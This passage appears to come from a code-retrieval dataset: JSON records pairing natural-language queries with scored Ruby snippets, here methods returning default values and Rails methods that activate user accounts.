"docid": "ee78e96543ef5d5b4472829d1b63566d", "score": "0.6673276", "text": "def default\n UNSET_VALUE\n end", "title": "" }, { "docid": "b271e0e8081609cffb7ffa6b019cfae5", "score": "0.6633253", "text": "def current_value\n return custom_value if dirty?\n\n default_value\n end", "title": "" }, { "docid": "5da886765d81e22169dd23a3fd57ab65", "score": "0.6581873", "text": "def default_feature_value() [] end", "title": "" }, { "docid": "5de8c7c53ed231189bcae1d7961c6b3f", "score": "0.65784645", "text": "def get_double_value(name, defaultValue)\n\t\tend", "title": "" }, { "docid": "a9c9654b415c9eb6c8c1122ae418378c", "score": "0.6570784", "text": "def default_value\n return nil if is_value\n return 0 if is_short\n return false if is_long\n\n nil\n end", "title": "" }, { "docid": "25b67eea990320f0423fafa684ca4f6a", "score": "0.6554218", "text": "def default\n @default\n end", "title": "" }, { "docid": "a89ad4ca2d560d0b334e46c7038eac30", "score": "0.6519048", "text": "def default_feature\n @default ||= find_feature(name, :main=>true)\n end", "title": "" }, { "docid": "a8231e396d842dee75e0e949560a7dbb", "score": "0.6490229", "text": "def get_current_default_edit_value\n return if self.default_edit_value.nil?\n return self.default_edit_value.call if self.default_edit_value.is_a? Proc\n self.default_edit_value\n end", "title": "" }, { "docid": "bee3a983a63dd2a0dffa641ae8848e88", "score": "0.6478478", "text": "def default_proc\n @default\n end", "title": "" }, { "docid": "9753bbe4821ae936fa349b8be6d77de7", "score": "0.64690584", "text": "def default=\r\n end", "title": "" }, { "docid": "1f2a19df70b044dd43a3b04d48f872ee", "score": "0.6449332", "text": "def default_value\n @properties[\"defaultValue\"]\n end", "title": "" }, { "docid": "963813045c8e9ed3266199757dba7709", "score": "0.6444767", "text": "def value\n if value?\n @value\n else\n @default\n end\n end", "title": "" }, { "docid": "ec3fc69872149b81d76baa98831a7019", "score": "0.64447284", "text": "def original_value; end", "title": "" }, { "docid": "ec3fc69872149b81d76baa98831a7019", "score": "0.64447284", "text": "def original_value; end", "title": "" }, { "docid": "c3e9f181af59fc491cc9194c0d263e57", "score": "0.6396449", "text": "def default\n if fail?\n yield\n else\n value\n end\n end", "title": "" }, { "docid": "0e9c124d9e2d6b82e9d60e057f86319a", "score": "0.63886535", "text": "def uhook_default_value(name = nil, options = {})\n return settings[current_context][name][:options][:default_value]\n end", "title": "" }, { "docid": "997680fab3a3ec110a167b6a00d0f39e", "score": "0.63751304", "text": "def get_value(name, defaultValue = nil)\n\t\tend", "title": "" }, { "docid": "9bb918cdeec24934b413a507a9a8f677", "score": "0.6337846", "text": "def default\n @@default\n end", "title": "" }, { "docid": "ad2c2bf9c63269ae001487463a84ba25", "score": "0.63325334", "text": "def sensible_default\n get\n end", "title": "" }, { "docid": "897249ed7adf6fa63670b0f09430b114", "score": "0.6327152", "text": "def default_option\n @attributes[:default_option]\n end", "title": "" }, { "docid": "3394ea7042d59d49ed2ca51ef9cb7738", "score": "0.63152117", "text": "def get_default_value\n return @payload.get_path(\"default_value\"){\"\"} \n end", "title": "" }, { "docid": "cdc04a5491a032b4ac392e5f00eac730", "score": "0.63138056", "text": "def default; end", "title": "" }, { "docid": "cdc04a5491a032b4ac392e5f00eac730", "score": "0.63138056", "text": "def default; end", "title": "" }, { "docid": "cdc04a5491a032b4ac392e5f00eac730", "score": "0.63138056", "text": "def default; end", "title": "" }, { "docid": "cdc04a5491a032b4ac392e5f00eac730", "score": "0.63138056", "text": "def default; end", "title": "" }, { "docid": "cdc04a5491a032b4ac392e5f00eac730", "score": "0.63138056", "text": "def default; end", "title": "" }, { "docid": "cdc04a5491a032b4ac392e5f00eac730", "score": "0.63138056", "text": "def default; end", "title": "" }, { "docid": "cdc04a5491a032b4ac392e5f00eac730", "score": "0.63138056", "text": "def default; end", "title": "" }, { "docid": "cdc04a5491a032b4ac392e5f00eac730", "score": "0.63138056", "text": "def default; end", "title": "" }, { "docid": "fad9d858012c65dcbebae595aac92397", "score": "0.63031685", "text": "def process_default(default_attribute, how, what)\n if what == nil\n what = how\n how = default_attribute \n end\n return how, what\n end", "title": "" }, { "docid": "fad9d858012c65dcbebae595aac92397", "score": "0.63031685", "text": "def process_default(default_attribute, how, what)\n if what == nil\n what = how\n how = default_attribute \n end\n return how, what\n end", "title": "" }, { "docid": "c612032f6f9af2e1faa47d06a2f7d774", "score": "0.6301949", "text": "def default\n if @default.nil?\n nil\n elsif @default.is_a?(Numeric) || @default.is_a?(Symbol) || @default.is_a?(TrueClass) || @default.is_a?(FalseClass)\n @default\n else\n @default.dup rescue @default\n end\n end", "title": "" }, { "docid": "8c72c253c7198f5d3475840caa13469e", "score": "0.63009304", "text": "def default(&blk)\n raise \"No block given\" unless blk\n @default = blk\n end", "title": "" }, { "docid": "598244aba5623b2da3cc101343746fdf", "score": "0.62958777", "text": "def default(name)\n @data['Value'][name]['default']\n end", "title": "" }, { "docid": "9b30c5ad955dfb059b48ca8b51efb779", "score": "0.62779707", "text": "def default_value(model)\n call_proc_or_symbol(default, model)\n end", "title": "" }, { "docid": "f6322cbf13f0f40d95df91afb851fdd4", "score": "0.6271582", "text": "def value\n if @value.nil?\n @default\n else\n @value\n end\n end", "title": "" }, { "docid": "59b0855ef5bc08bffa3dc628b4084ccb", "score": "0.62653285", "text": "def default_value\n options[:default_value]\n end", "title": "" }, { "docid": "50a09e68a1c12bfb390169725ab63b06", "score": "0.6258549", "text": "def with_default_return_value(value); end", "title": "" }, { "docid": "50a09e68a1c12bfb390169725ab63b06", "score": "0.6258549", "text": "def with_default_return_value(value); end", "title": "" }, { "docid": "c9e33fee4cfc1b629e4d68707c512780", "score": "0.6254191", "text": "def default_value\n return options[:default_value] if options[:default_value]\n case type\n when :checkbox\n 1\n else\n nil\n end\n end", "title": "" }, { "docid": "06900ac3044ca182f197c700acf96102", "score": "0.6250706", "text": "def default\n return self[\"i3\"]\n end", "title": "" }, { "docid": "bef4cabfb3d76d64c3e08b4bff38bc7d", "score": "0.6232939", "text": "def default\n def_val = @data.fetch(:dflt_value)\n\n if def_val && (match = def_val.match(/\\A'(.*)'\\Z/))\n return match[1]\n end\n\n return nil if @data.fetch(:dflt_value).to_s.empty?\n def_val\n end", "title": "" }, { "docid": "c34e2ee6ef9b54829f5f5c49afdd0acb", "score": "0.62112284", "text": "def default=(_); end", "title": "" }, { "docid": "28194302ae87e84b5bb841646363a10e", "score": "0.61948496", "text": "def default\n 42 # the ultimate answer\nend", "title": "" }, { "docid": "f6b9ac8c25eb6b18ee1201f28c9dcfb2", "score": "0.61794657", "text": "def default(&block)\n @default = block\n end", "title": "" }, { "docid": "b9e7afdc0bd9d8744b0ff6748a401d2b", "score": "0.617578", "text": "def value\n value = @instance.send(attribute_name)\n value ||= @options[:default]\n value\n end", "title": "" }, { "docid": "7d449e76a4d0c030081ae0356be87c1e", "score": "0.61632437", "text": "def default\n @default ||= @column.default\n end", "title": "" }, { "docid": "064db40434d3118fcf11f794e1fc7dcb", "score": "0.6112235", "text": "def default_value\n args.fetch(:default, nil)\n end", "title": "" }, { "docid": "5526aeb9c764214c6ed165ef7e7b3ce8", "score": "0.61113024", "text": "def make_default_value(instance, value)\n value\n end", "title": "" }, { "docid": "e7041f1b205e1c270283d94646cb7bd9", "score": "0.61096907", "text": "def default_value(arg = nil)\n return self[__method__] unless arg\n #log :debug, \"Declaring #{name}.default_value: #{arg}\"\n debug{\"Declaring #{name}.default_value: #{arg}\"}\n self[:default_value] = arg\n end", "title": "" }, { "docid": "3d3e39a6a3762eea34db567d2ebb0f2c", "score": "0.6109373", "text": "def default_value\n self[:value] ||= {}\n self[:value][:default_value].to_i\n end", "title": "" }, { "docid": "a1c4d2aff748defd3f2673f52b996fd8", "score": "0.60636026", "text": "def default_price\n return @default_price\n end", "title": "" }, { "docid": "c294800a6c72a962070b4ca27d34a2fc", "score": "0.6063317", "text": "def default()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "f6b90ae87fcf0e96a5b55acef2780ab2", "score": "0.6055551", "text": "def value(newvalue = nil)\n unless newvalue.nil?\n @value = newvalue\n end\n @value || default\n end", "title": "" }, { "docid": "f6b90ae87fcf0e96a5b55acef2780ab2", "score": "0.6055551", "text": "def value(newvalue = nil)\n unless newvalue.nil?\n @value = newvalue\n end\n @value || default\n end", "title": "" }, { "docid": "8e25de9d440aaefee6142ca478106435", "score": "0.60525095", "text": "def default(&block)\n if block_given?\n @default = block\n else\n @default\n end\n end", "title": "" }, { "docid": "c2bc27f67e78fbfd86610b2860d77b19", "score": "0.6050683", "text": "def diff_value\n custom_value\n end", "title": "" }, { "docid": "a253390ada77a757725d4fb0358b3b8a", "score": "0.6042006", "text": "def default_value\n self[:value] ||= {}\n self[:value][:default_value] ||= 'empty'\n self[:value][:default_value]\n end", "title": "" }, { "docid": "a253390ada77a757725d4fb0358b3b8a", "score": "0.6042006", "text": "def default_value\n self[:value] ||= {}\n self[:value][:default_value] ||= 'empty'\n self[:value][:default_value]\n end", "title": "" }, { "docid": "a253390ada77a757725d4fb0358b3b8a", "score": "0.6042006", "text": "def default_value\n self[:value] ||= {}\n self[:value][:default_value] ||= 'empty'\n self[:value][:default_value]\n end", "title": "" }, { "docid": "d46d0b19a56795404f3108bc7ab096fb", "score": "0.6027379", "text": "def default_spec; @default ? \"=#{@default}\" : '' end", "title": "" }, { "docid": "857480430e45f777d34bc6b0017748b8", "score": "0.6026041", "text": "def default_value_noninteractive\n default_value\n end", "title": "" }, { "docid": "2fc5a5583ac8ea2b9da42159339627c5", "score": "0.6022978", "text": "def sensible_default\n raise NotImplementedError\n end", "title": "" }, { "docid": "2fc5a5583ac8ea2b9da42159339627c5", "score": "0.6022978", "text": "def sensible_default\n raise NotImplementedError\n end", "title": "" }, { "docid": "49b701caf3e11e400c99274a81bdc675", "score": "0.60141337", "text": "def default!\n self.value=(default)\n end", "title": "" }, { "docid": "c667b1fe890424b86bce0d6815b99450", "score": "0.6010384", "text": "def original_value\n @value\n end", "title": "" }, { "docid": "14bc48d7a270bf47ba283a1a39a2024b", "score": "0.5997339", "text": "def default=(_arg0); end", "title": "" }, { "docid": "14bc48d7a270bf47ba283a1a39a2024b", "score": "0.5997339", "text": "def default=(_arg0); end", "title": "" }, { "docid": "14bc48d7a270bf47ba283a1a39a2024b", "score": "0.5997339", "text": "def default=(_arg0); end", "title": "" }, { "docid": "096c26f6698c54bb87eadd061329baf4", "score": "0.59969777", "text": "def default_value\n property_values.detect { |pv| pv.default }\n end", "title": "" }, { "docid": "498af195044faa9cfef1d3f0479c1126", "score": "0.59952027", "text": "def default_value\n self[:value] ||= {}\n self[:value][:default_value] ||= ''\n end", "title": "" }, { "docid": "a397f8166b2ed8f1fe9fdd5e858ec982", "score": "0.5991793", "text": "def default(&block)\n if block_given? then @default = block else @default end\n end", "title": "" }, { "docid": "a397f8166b2ed8f1fe9fdd5e858ec982", "score": "0.5991793", "text": "def default(&block)\n if block_given? then @default = block else @default end\n end", "title": "" }, { "docid": "a397f8166b2ed8f1fe9fdd5e858ec982", "score": "0.5991793", "text": "def default(&block)\n if block_given? then @default = block else @default end\n end", "title": "" }, { "docid": "2897a12f3831a6cf7bf4c11780dc2d8e", "score": "0.598835", "text": "def get_or_else(default = nil)\n raise NotImplementedError\n end", "title": "" }, { "docid": "36c12baf55b5c630249e8e9fb690744f", "score": "0.5987246", "text": "def default\n end", "title": "" }, { "docid": "aeed1d0f69c0b11c15bdbcbbf8fffe7c", "score": "0.59730095", "text": "def derive_value( tx, default_value, user_field )\n\t\t\tusrdata = tx[user_field] \n\t\t\tpval = usrdata ? usrdata : default_value # overwrite with user value\n\t\t\tpval = nil if usrdata == \"empty\" # nil if wanted\n return pval\n end", "title": "" }, { "docid": "0161d7b44a086de7735e243af259c2e8", "score": "0.596374", "text": "def default\n resolve_option(@default)\n end", "title": "" }, { "docid": "635f23d510cfc018436a67bef284a218", "score": "0.5949038", "text": "def variable_defaults; end", "title": "" } ]
13a25bf991f72692776bbb0b9271f4c2
Activates the user in the database.
[ { "docid": "4eccd7e4027657911e44838bb2539280", "score": "0.0", "text": "def activate\n @activated = true\n update_attributes(:activated_at => Time.now.utc, :activation_code => nil)\n end", "title": "" } ]
[ { "docid": "bc8a8c88e1587006745661f53eb2cad0", "score": "0.79187834", "text": "def activate\n @activated = true\n activated_at = Time.now\n activation_code = nil\n logger.info \"Activando el usuario\"\n save\n end", "title": "" }, { "docid": "d4c752e40f45069854bc693c5aad80c6", "score": "0.77386403", "text": "def activate\n @user = User.find params[:id]\n @user.active = true\n @user.save\n redirect_to admin_user_path(@user)\n end", "title": "" }, { "docid": "ad22aeeaca9876a6e612d1e4c8bbe33a", "score": "0.7738068", "text": "def activate\n unless user.activated?\n user.activated = true\n user.save!\n end\n end", "title": "" }, { "docid": "8fc7c20af1153cbd9291fcccc88765ed", "score": "0.77135676", "text": "def activate_user\n @user = User.find(params[:id])\n if @user.activate\n flash[:success] = 'activated'\n else\n flash[:danger] = 'Failed to activate user'\n end\n redirect_to unactivated_users_url\n end", "title": "" }, { "docid": "585465d53baeee2f97397451b0297866", "score": "0.7372085", "text": "def activate\n @user = User.find_by_activation_code(params[:id])\n if @user and @user.activate\n self.current_user = @user\n flash[:message] = \"Your account has been activated\"\n redirect_to :controller => 'manage'\n end\n end", "title": "" }, { "docid": "ff81ce8d08f9c042fc1d26a08c0d05cd", "score": "0.7344187", "text": "def activate\n @user = User.find(params[:id])\n @user.activate_user()\n flash[:activate_user] = \"User successfully activated. An e-mail was sent to notify him/her about this action. $yellow\"\n\n redirect_to(:action => 'show', :id => @user.id)\n end", "title": "" }, { "docid": "72d8d66575d954c3bd772c1b3991c804", "score": "0.72755057", "text": "def activate\n session[:action_accessed?] = true\n @conditions = {:email => params[:user][:email],\n :voter_id => params[:user][:voter_id],\n :birth_date => Date.civil( params[:user][:\"birth_date(1i)\"].to_i,\n params[:user][:\"birth_date(2i)\"].to_i,\n params[:user][:\"birth_date(3i)\"].to_i )}\n @user = User.find(:first, :conditions => @conditions)\n if @user.activated?\n flash[:notice] = 'User account already activated!'\n render :text => %Q{ You have already activated your account, please check your email. }\n else\n @user.toggle!(:activated)\n key = generate_code\n PendingBallot.create(:ballot_key => key, :voter_id => @user.voter_id)\n flash[:notice] = 'User account activated!'\n render :text => 'Thank you. An email had been sent to your account that contains the link to your ballot form.'\n end\n rescue\n raise 'RecordNotFound: Impossible to happen in normal usage.'\n end", "title": "" }, { "docid": "bc5d537608d3f389342e77090febaf4d", "score": "0.72744465", "text": "def activate\n @user.activate!\n flash[:notice] = I18n.t('user.account.activated')\n session_activate\n redirect_to login_path( :service => cas_service_url( \"#{JWebApp}/?ga=emCyamsW&fl=1\" ), :jwa => 0, :ga => \"emCyamsW\" )\n end", "title": "" }, { "docid": "43d6a0cfe129b3218896b73e0ed9d01f", "score": "0.7233598", "text": "def activate_invited\n # users who have logged in aren't asked to activate their account again\n # so we'll pretend \n if params[:user] and user = current_user\n user.sign_up\n user.attributes = params[:user]\n\n if user.remember_me\n current_user_session.remember_me = true \n user_session = current_user_session\n user_session.send :save_cookie\n end\n user.save and flash[:notice] = \"Welcome aboard, #{user}.\"\n Notifications.deliver_welcome user\n end\n if order_id = params[:order_id]\n redirect_to order_path(order_id)\n else\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "b738aec109bb592e7cc3d2abc4db73ef", "score": "0.7222047", "text": "def activate\n @user = User.find(params[:id])\n @user.activate\n respond_to do |format|\n format.html { redirect_to archive_users_url, notice: 'User was successfully activated.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "44e3727ba2f4b57fb44e99a5e601f3c0", "score": "0.71097773", "text": "def activate\n active = @user.active\n @user.update_attribute(:active, !active)\n\n redirect_to user_url(:id => params[:id])\n end", "title": "" }, { "docid": "0de1c48cdd07abfc77dc244cd7d003a9", "score": "0.7075079", "text": "def edit\n #defines user as record found by email address\n user = User.find_by(email: params[:email])\n #ensures that user is found in database, user is not activated, and users\n #token can be used as a password for the activation_digest field\n if(user && !user.activated? && user.authenticated?(:activation, params[:id]))\n user.activate\n log_in user\n flash.alert = \"Account activated\"\n redirect_to user\n else\n flash.alert = \"Invalid activation link\"\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "3ca2a4dfb5dcf7d141d6a9f06c70d4af", "score": "0.70580614", "text": "def activate\n\t\t#puts \"sessions_controller.activate\"+params.inspect\n\t\tuser = User.find(params[:id]) if User.exists?(params[:id])\n\t\tunless user.nil?\n\t\t\ttype=Typesobject.find_by_forobject_and_name(\"user\", PlmServices.get_property(:TYPE_USER_PERSON))\n\t\t\tuser.typesobject=type\n\t\t\tif user.save\n\t\t\t\t@current_user = user\n\t\t\t\tsession[:user_id] = user.id\n\t\t\t\tflash[:notice] = t(:ctrl_role_needed)\n\t\t\t\trespond_to do |format|\n\t\t\t\t\tformat.html { render :action => :edit }\n\t\t\t\t\tformat.xml { head :ok }\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tflash[:notice] = t(:ctrl_new_account_not_created, :user=>user.login)\n\t\t\t\trespond_to do |format|\n\t\t\t\t\tformat.html { render :action => :new }\n\t\t\t\t\tformat.xml {render :xml => errs, :status => :unprocessable_entity }\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tflash[:notice] = t(:ctrl_new_account_not_existing, :user=>nil)\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html { render :action => :new }\n\t\t\t\tformat.xml {render :xml => errs, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\n\tend", "title": "" }, { "docid": "834e1b230274e7644382f898650b031a", "score": "0.70448285", "text": "def activate\n @user = User.find_by_id(params[:id])\n @user.update_column(:activated,true)\n redirect_to admin_users_index_path\n\n\n end", "title": "" }, { "docid": "fdcb5858d93ea2046b8cb0d882122d40", "score": "0.7025001", "text": "def activate\n session.destroy\n @user = User.find_using_perishable_token(params[:activation_code], 1.week)\n\n #raise Exception if @user.active?\n\n if @user.activate!\n UserSession.create(@user, true)\n @user.send_activation_confirmation!\n\n redirect_to dashboard_url\n else\n render :action => :new\n end\n end", "title": "" }, { "docid": "9df3e85c34dce045f2bd1cd866be349d", "score": "0.7010608", "text": "def activate_user\n @user = User.find_by_confirmation_hash params[:confirmation_hash]\n redirect_to root_path and return if @user.nil?\n \n # Activate the user, update the hash, and save\n @user.is_active = true\n @user.generate_confirmation_hash!\n \n # Create a new user detail if the user has not does this\n redirect_to new_user_detail_path(@user.confirmation_hash) and return if @user.user_detail.nil?\n\n # Return to root if we make it this far\n redirect_to root_path\n end", "title": "" }, { "docid": "b5fdc70a18ee698698f53781f7c14986", "score": "0.7005553", "text": "def activate\n\n @user = User.find(params[:id])\n \n if @user.pending_activation and not params[:activate].blank?\n\n if @user.activation_token == params[:activate]\n @user.update_attribute('pending_activation', false)\n cookies[:user] = { :value => @user.id, :expires => 1.year.from_now }\n else\n redirect_to root_path, notice: 'Incorrect activation token.'\n return\n end\n\n elsif not @user.pending_activation\n \n # If user has already activated their \"account\" then they should be\n # redirected to either an already-submitted tour or the new tour form\n @tour = Tour.find_by_user_id(@user.id)\n if @tour.nil?\n redirect_to new_tour_path, notice: 'Your account has already been activated.'\n return\n else\n redirect_to @tour, notice: 'Your account has already been activated.'\n return\n end\n\n end\n redirect_to edit_user_path\n \n end", "title": "" }, { "docid": "26460ea096d3ed6104e5bbdc04161aa9", "score": "0.6957866", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n log_activity\n User.reset_cache\n end", "title": "" }, { "docid": "6c0f97753e345126f429c635f0c1d027", "score": "0.6942794", "text": "def activate\n @user = User.find(params[:id])\n if @user == current_user\n flash[:error] = \"Sorry, cannot activate/deactivate currently logged in admin user, ask another admin to do it\"\n redirect_to :back and return\n end\n if @user.active\n @user.deactivate!\n flash[:notice] = \"User Account Deactivated!\"\n else\n @user.activate!\n @user.deliver_welcome!\n flash[:notice] = \"User Account Now Active. Welcome Email Delivered!\" \n SystemSetting[:new_users_allowed] -= 1 if SystemSetting[:new_users_allowed]\n end\n redirect_to :back\n end", "title": "" }, { "docid": "8e1372bdc44d34be4811c0817fb8a63c", "score": "0.6934972", "text": "def force_activate\n @user = User.find(params[:id])\n if !@user.active?\n @user.force_activate!\n if @user.active? \n flash[:notice] = \"User activated\"\n else\n flash[:error] = \"There was a problem activating this user.\"\n end\n else\n flash[:notice] = \"User already active\"\n end\n redirect_to :action => 'index'\n end", "title": "" }, { "docid": "8d961803d1c15122602aa4dacbc23fe1", "score": "0.69338286", "text": "def activate_account\n\t\t@user = User.find_using_perishable_token(params[:activation_code], 1.week)\n\t\tif @user\n\t\t\tif @user.active?\n\t\t \tflash[:notice] = 'Your account is already active'\n\t\t \tredirect_to login_path\n\n\t\t\telsif @user.activate!\n\t\t\tflash[:notice] = \"Your account activated and you can login now\"\n\t\t\t\t@user.deliver_activation_confirmation!\n\t\t\t\tredirect_to login_path\n\t\t\tend\n\t\telse\n\t\t\tflash[:notice] = 'User not found'\n\t\t\tredirect_to root_url\n\t\tend\n\tend", "title": "" }, { "docid": "82cbf9f247fde3a8bf9a6ce778c70ac1", "score": "0.691576", "text": "def new_user_activate()\n activate_link.click\n end", "title": "" }, { "docid": "70688eabfc8c35fb5c8397bef69c0c5e", "score": "0.6907798", "text": "def activate\n @page_title = 'Membership Activation'\n self.current_user = params[:activation_code].blank? ? false : User.find_by_activation_code(params[:activation_code])\n if logged_in? && !current_user.active?\n current_user.activate!\n flash[:notice] = \"Signup complete\"\n else\n flash[:alert] = \"Signup Failure\"\n end\n redirect_to root_path\n end", "title": "" }, { "docid": "3c89c7bf0229bcef847dd08e512c9318", "score": "0.6904216", "text": "def activate\n \t@user = User.find_by(:email => params[:email])\n \tif @user\n \t\tif @user.authenticated?(:activation, params[:token])\n \t\t\t@user.activate\n\t\t flash[:success] = [AlertMessage.new(message: \"Token Found and User Activated!\")]\n\t \t\tredirect_to sign_in_path\n \t\telse\n\t\t flash[:error] = [AlertMessage.new(message: \"Incorrect token, if you feel like this is wrong, feel free to contact us!\")]\n\t \t\tredirect_to root_path\n \t\tend\n \telse\n\t flash[:error] = [AlertMessage.new(message: \"User not found!\")]\n \t\tredirect_to root_path\n \tend\n end", "title": "" }, { "docid": "c982d2a57de139956db8b47d97287ee4", "score": "0.69026005", "text": "def activate!\r\n\n now = Time.now.utc\n @activated = true\r\n self.activated_at = now\r\n self.activation_code = nil\r\n self.active = true # needed because default when registering is false to prevent\n # the profile from coming up in search results, etc\n save(false)\r\n\n logon.previous = logon.last = now\n logon.save(false)\n\n end", "title": "" }, { "docid": "782397b3b81336f16d2ff53eca6842fb", "score": "0.6898552", "text": "def activate\n self.access = true\n reset_perishable_token!\n Regnotification.user_activated(self) if save\n end", "title": "" }, { "docid": "f525f0e6249e4c11ccda0d727893ca3f", "score": "0.6893245", "text": "def activate!(params)\n self.active = true\n self.password = params[:user][:password]\n self.password_confirmation = params[:user][:password_confirmation]\n self.openid_identifier = params[:user][:openid_identifier]\n save\n end", "title": "" }, { "docid": "0a6e90b71585adefb85b28208ed92f8b", "score": "0.6837941", "text": "def set_user\n @user = User.find(params[:id])\n @user.active = true\n end", "title": "" }, { "docid": "a29a5c17f587e05e94193358cda818a3", "score": "0.6833173", "text": "def activated\n @user = User.find(params[:id])\n flash.now[:notice] = I18n.t(:user_activation_successful_notice, :username => @user.username)\n end", "title": "" }, { "docid": "14b1cf0adb573007c5199261c9b9fc8e", "score": "0.6828286", "text": "def activate\n activate_and_redirect_to activated_advocate_users_path\n end", "title": "" }, { "docid": "df1448a227215f77ee2a066bab22d0f5", "score": "0.682525", "text": "def enable_user\n @user.activate!\n respond_to do |format|\n format.html {redirect_to(users_url)}\n end\n end", "title": "" }, { "docid": "26bd3074ad8b58703f6d5a998212316d", "score": "0.6802273", "text": "def activate!(user, &block)\n unless user.blank?\n self.password = user[:password]\n self.password_confirmation = user[:password_confirmation]\n self.openid_identifier = user[:openid_identifier]\n end\n self.state = 'active'\n roles.build(:name => 'customer') if roles.empty?\n save(true, &block)\n end", "title": "" }, { "docid": "42790c1234b1281370a8ddb2f8c782c7", "score": "0.6790855", "text": "def activate\n @account.active = true\n\n if @account.save\n redirect_to accounts_path, notice: 'Account was activated.'\n else\n render :show\n end\n end", "title": "" }, { "docid": "42790c1234b1281370a8ddb2f8c782c7", "score": "0.6790855", "text": "def activate\n @account.active = true\n\n if @account.save\n redirect_to accounts_path, notice: 'Account was activated.'\n else\n render :show\n end\n end", "title": "" }, { "docid": "19234a174bed6c52f5cf73e1d3538389", "score": "0.67829293", "text": "def activate\n @account = Account.find(params[:id])\n @account.activate!\n end", "title": "" }, { "docid": "94ee74e9da43a39fabd09e03c5ccc751", "score": "0.6771382", "text": "def activate_user\n @user = User.find_by_reset_code(params[:user][:reset_code]) unless params[:user][:reset_code].nil?\n if @user\n @user.activate\n flash[:notice] = \"User #{@user.email} sucessfully activated\"\n sign_in @user\n end\n redirect_to(root_path)\n end", "title": "" }, { "docid": "4f1a6cc4e2b5dab7204bbab534800c10", "score": "0.6771243", "text": "def activate!(params)\n self.active = true\n self.password = params[:user][:password]\n self.password_confirmation = params[:user][:password_confirmation]\n save\n end", "title": "" }, { "docid": "b863c1682169636b76da0f23feb180f4", "score": "0.6765337", "text": "def activate\n begin\n @user = User.find_using_perishable_token(params[:activation_code], 1.week)\n rescue ActiveRecord::RecordNotFound\n flash[:error] = \"Your ticket has expired. Go <a href=\\\"#{activate_user_url}\\\">here</a> get a new one.\"\n redirect_to root_url\n return\n end\n\n if @user.nil?\n flash[:error] = \"Your ticket has expired. Go <a href=\\\"#{activate_user_url}\\\">here</a> get a new one.\"\n redirect_to root_url\n return\n end\n\n if @user.active?\n flash[:error] = \"Your account is already activated.\"\n redirect_to root_url\n return\n end\n\n if @user.activate!\n @user.deliver_activation_confirmation!\n flash[:notice] = \"Your account has been activated.\"\n else\n flash[:error] = \"Your account could not be activated.\"\n end\n redirect_to root_url\n end", "title": "" }, { "docid": "7d201b71a089fb060dc71725d3cb5ecd", "score": "0.67536044", "text": "def activate!\n self.activated_at = Time.new\n self.active = true\n self.save!\n end", "title": "" }, { "docid": "f8ffb5c2fc890dcfcaccf5fb4b9c09d3", "score": "0.67295545", "text": "def activate\n @activated = true\n update_attributes({:activated_at => Time.now.utc, :activation_code => nil})\n save!\n \n profile.active = true\n profile.save!\n end", "title": "" }, { "docid": "1fc545788259f9f37ef64106ceab73c8", "score": "0.6726169", "text": "def activate\n usr = User.find_by_activation_code(activation_code) if !activation_code.blank?\n return nil if usr.blank?\n if !usr.username.blank? and !usr.crypted_password.blank? and !usr.activation_code.blank?\n @just_activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n#Interesting stuff happens here:\n# validate_on_update runs, after which this method (activate) runs. In order to save, it has to validate_on_update again.\n# In the first validate_on_update, it has an activation_code present, but after passing through this, it doesn't, so\n# validate_on_update has to find by id instead. This should be reliable, but maybe just touchy if someone changes anything.\n self.save\n end\n end", "title": "" }, { "docid": "7f39c445e38ec28e9db96aef28e5fa81", "score": "0.6711186", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(validate: false)\n end", "title": "" }, { "docid": "f4426f3902561ad5ed5dd994ce34601e", "score": "0.6702634", "text": "def user_activate\n users = User.where(id: params[:id], account_status: \"inactive\").exists?(conditions = :none)\n name = User.where(id: params[:id]).pluck(:email)\n name = name[0].split('@')[0]\n\n if users\n User.update(params[:id], account_status: \"active\")\n # Need to add full path of script\n # add_ovpn_user = `/bin/sh cmd_and_control.sh add #{name}`\n puts add_ovpn_user\n else\n User.update(params[:id], account_status: \"inactive\")\n # Need to add full path of script\n # remove_ovpn_user = `/bin/sh cmd_and_control.sh remove #{name}`\n puts remove_ovpn_user\n end\n\n redirect_to admins_show_path\n end", "title": "" }, { "docid": "fafce3f8c4757f93084a3df257311908", "score": "0.66999996", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "2d35d8c391cc60ef5b107c5dc8ffca1b", "score": "0.66934836", "text": "def activate\n session.user = Merb::Authentication.user_class.find_with_activation_code(params[:activation_code])\n raise NotFound if session.user.nil?\n if session.authenticated? && !session.user.activated?\n session.user.activate!\n end\n \n \"\"\n end", "title": "" }, { "docid": "918db23f1703fbb0fdf5c711df9e0d9c", "score": "0.6692547", "text": "def activate!(params)\n self.active = true\n self.password = params[:user][:password]\n self.password_confirmation = params[:user][:password_confirmation]\n \n save\n end", "title": "" }, { "docid": "d34fc38851451b2593a5ef42e52f63af", "score": "0.66916156", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "d34fc38851451b2593a5ef42e52f63af", "score": "0.66916156", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "d34fc38851451b2593a5ef42e52f63af", "score": "0.66916156", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "d34fc38851451b2593a5ef42e52f63af", "score": "0.66916156", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "d34fc38851451b2593a5ef42e52f63af", "score": "0.66916156", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "d34fc38851451b2593a5ef42e52f63af", "score": "0.66916156", "text": "def activate\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "d34fc38851451b2593a5ef42e52f63af", "score": "0.66916156", "text": "def activate\n @activated 